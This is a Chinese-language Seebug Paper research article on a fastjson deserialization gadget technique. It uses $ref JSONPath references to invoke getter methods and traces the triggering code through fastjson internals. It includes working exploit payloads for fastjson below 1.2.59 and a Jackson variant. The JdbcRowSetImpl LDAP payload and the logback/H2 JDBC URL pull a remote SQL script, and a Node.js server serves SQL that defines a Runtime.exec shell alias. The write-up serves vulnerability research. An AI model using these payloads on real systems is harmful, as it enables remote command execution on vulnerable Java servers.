作者:lxraa
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

1、解決什么問題

反序列化的過程是把字符串映射成java類的過程,過程為①調用無參構造方法new一個java類;②通過反射的方式調用類的set方法設置字段。因此比較好用的poc一般是利用非純set方法里的危險操作觸發,例如JdbcRowSetImpl poc:

String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}"
JSON.parse(poc);

利用了com.sun.rowset.JdbcRowSetImpl的非純set方法setAutoCommit:

...
public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }
...

而利用getXXX方法的poc一般利用難度較大,需要先將輸入反序列化,再序列化才能觸發,如網上流傳較廣的jackson ch.qos.logback.core.db.DriverManagerConnectionSource poc:

        String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(payload, Object.class);//反序列化
        String s = mapper.writeValueAsString(o);//序列化

因此比較難找到實際使用場景 以下討論一種利用fastjson的特性,構造poc,從而利用非純get函數構造可用性較高的poc的方法

2、前序知識

什么是$ref

ref,value為JSONPath語法的方式引用之前出現的對象,例如:

//類的定義:
public class Test {
    private Integer id;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }
}
//反序列化代碼:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0]\"}]"; //數組的第二個元素引用數組的第一個元素
Object o = JSON.parse(s);
...

序列化后的類如圖所示:

image-20210623151631447

什么是JSONPath語法

https://goessner.net/articles/JsonPath/

JSONPath是為了在json中定位子元素的一種語言,具體語法規則網上較多,不做贅述。fastjson支持JSONPath

利用$ref觸發get方法的例子

public class Test {
    private Integer id;

    public Integer getId() {
    //此處下斷點
        System.out.println("getid");
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }
}

//反序列化代碼:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用數組第一個對象的id屬性,會觸發getId方法
Object o = JSON.parse(s);
...

image-20210623164021838

這就是poc的構造原理

3、poc及代碼分析

poc

java poc:

// 該poc < fastjson 1.2.59 可用
// 參考 https://github.com/LeadroyaL/fastjson-blacklist/blob/766f7c546d2698ab37cd304644d113e186143da2/readme.md


ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String refPayload = "[{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"},{$ref:\"$[0].connection\"}]";
Object o = JSON.parse(refPayload);

server(nodejs):

const express = require("express")
const fs = require("fs")
const app = express()

app.get("/test.sql",function(req,res){
    res.send(`
    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
    `)
})


app.listen(3000,function(){
    console.log("listening 3000...")
})

源代碼分析

該poc利用了h2庫支持遠程加載腳本的特性,觸發點在org.h2.engine.FunctionAlias.getValue,poc本身的調用鏈不在本文討論的范圍內,以下討論fastjson環境下該poc是如何生效的 斷點下載com.alibaba.fastjson.JSON : line 165(fastjson版本1.2.58)

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse(); //反序列化關鍵邏輯類解析,set方法在這里調用

        parser.handleResovleTask(value);//處理$ref

        parser.close();

跟進handleResovleTask:

        if (ref.startsWith("$")) {
                refValue = getObject(ref);
                if (refValue == null) {
                    try {
                        refValue = JSONPath.eval(value, ref); //解析$ref
                    } catch (JSONPathException ex) {
                        // skip
                    }
                }
            }

第二個斷點下在com.alibaba.fastjson.JSONPath : line 1634 explain函數 這個函數的作用是把$ref的value解析成segment,Segment是定義在JSONPath類的一個interface,實現類有:

image-20210623155937171

explain()會把一個完整的JSONPath拆分成小的處理邏輯,Segment接口即處理單元

public Segment[] explain() {
            if (path == null || path.length() == 0) {
                throw new IllegalArgumentException();
            }

            Segment[] segments = new Segment[8];

            for (;;) {
                Segment segment = readSegement();
                if (segment == null) {
                    break;
                }

                if (segment instanceof PropertySegment) {
                    PropertySegment propertySegment = (PropertySegment) segment;
                    if ((!propertySegment.deep) && propertySegment.propertyName.equals("*")) {
                        continue;
                    }
                }

                if (level == segments.length) {
                    Segment[] t = new Segment[level * 3 / 2];
                    System.arraycopy(segments, 0, t, 0, level);
                    segments = t;
                }
                segments[level++] = segment;
            }

            if (level == segments.length) {
                return segments;
            }

            Segment[] result = new Segment[level];
            System.arraycopy(segments, 0, result, 0, level);
            //返回一個Segment的Array,后面順序執行每個Segment
            return result;
        }

第三個斷點下在com.alibaba.fastjson.JSONPath : line 74 eval函數,這里順序執行前面explain生成的segment array

    public Object eval(Object rootObject) {
        if (rootObject == null) {
            return null;
        }

        init();

        Object currentObject = rootObject;
        for (int i = 0; i < segments.length; ++i) {
            Segment segment = segments[i];
            // rootObject:json字符串經parseObject解析后的對象
            currentObject = segment.eval(this, rootObject, currentObject);
        }
        return currentObject;
    }

第四個斷點下在com.alibaba.fastjson.util.FieldInfo: line 491 get函數

    public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
        return method != null
        // 通過method.invoke觸發get方法
                ? method.invoke(javaObject)
                : field.get(javaObject);
    }

觸發效果:

image-20210623162206637


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1613/